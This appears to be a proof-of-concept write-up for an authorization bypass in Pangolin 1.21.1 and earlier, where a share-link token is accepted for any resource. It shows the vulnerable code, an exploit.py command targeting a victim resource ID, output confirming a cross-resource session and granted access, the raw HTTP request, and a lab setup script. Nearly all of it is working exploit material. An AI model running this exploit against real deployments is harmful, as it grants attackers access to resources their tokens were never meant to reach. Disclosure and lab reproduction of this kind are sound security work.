// vulnerable (<= 1.21.1)
const res = await verifyResourceAccessToken({
    accessTokenId,
    accessToken          // <-- resourceId is NOT passed
});
valid = res.valid;
tokenItem = res.tokenItem;
resource = foundResource;   // <-- resource taken from the ATTACKER-CONTROLLED :resourceId

resourceId?: number; // IF THIS IS NOT SET, THE TOKEN IS VALID FOR ALL RESOURCES
...
if (resourceId && resource.resourceId !== resourceId) {
    return { valid: false, error: "Resource ID does not match" };
}

await createResourceSession({
    resourceId: resource.resourceId,      // attacker-chosen victim resource
    accessTokenId: tokenItem.accessTokenId,  // token from a completely different resource
    isRequestToken: true, ...
});

$ python3 exploit.py --url http://TARGET:3000 \
      --token <accessToken> --token-id <accessTokenId> \
      --target-resource <victim_resourceId> \
      --prove-access <victim_fullDomain> --internal-url http://TARGET:3001

[+] CONFIRMED VULNERABLE - cross-resource session minted
    target resourceId : 2
    session (req-token): y5myp2nvab2hitkch4xaylrtdk7zsrny
    redirectUrl        : https://b1.example.com
[+] exchange-session -> valid=true; resource session cookie for b1.example.com
[+] verify-session @ b1.example.com -> valid=True (Access allowed)
[+] ACCESS GRANTED to a resource the share link never had rights to.

POST /api/v1/auth/resource/2/access-token HTTP/1.1
Host: target:3000
Content-Type: application/json
X-CSRF-Token: x-csrf-protection

{"accessToken":"<tokenA>","accessTokenId":"<tokenA_id>"}

cd lab
./setup.sh          # boots fosrl/pangolin:1.21.1 (default config, SQLite) and provisions
                    # two orgs / two resources, protects the victim, prints the exploit cmd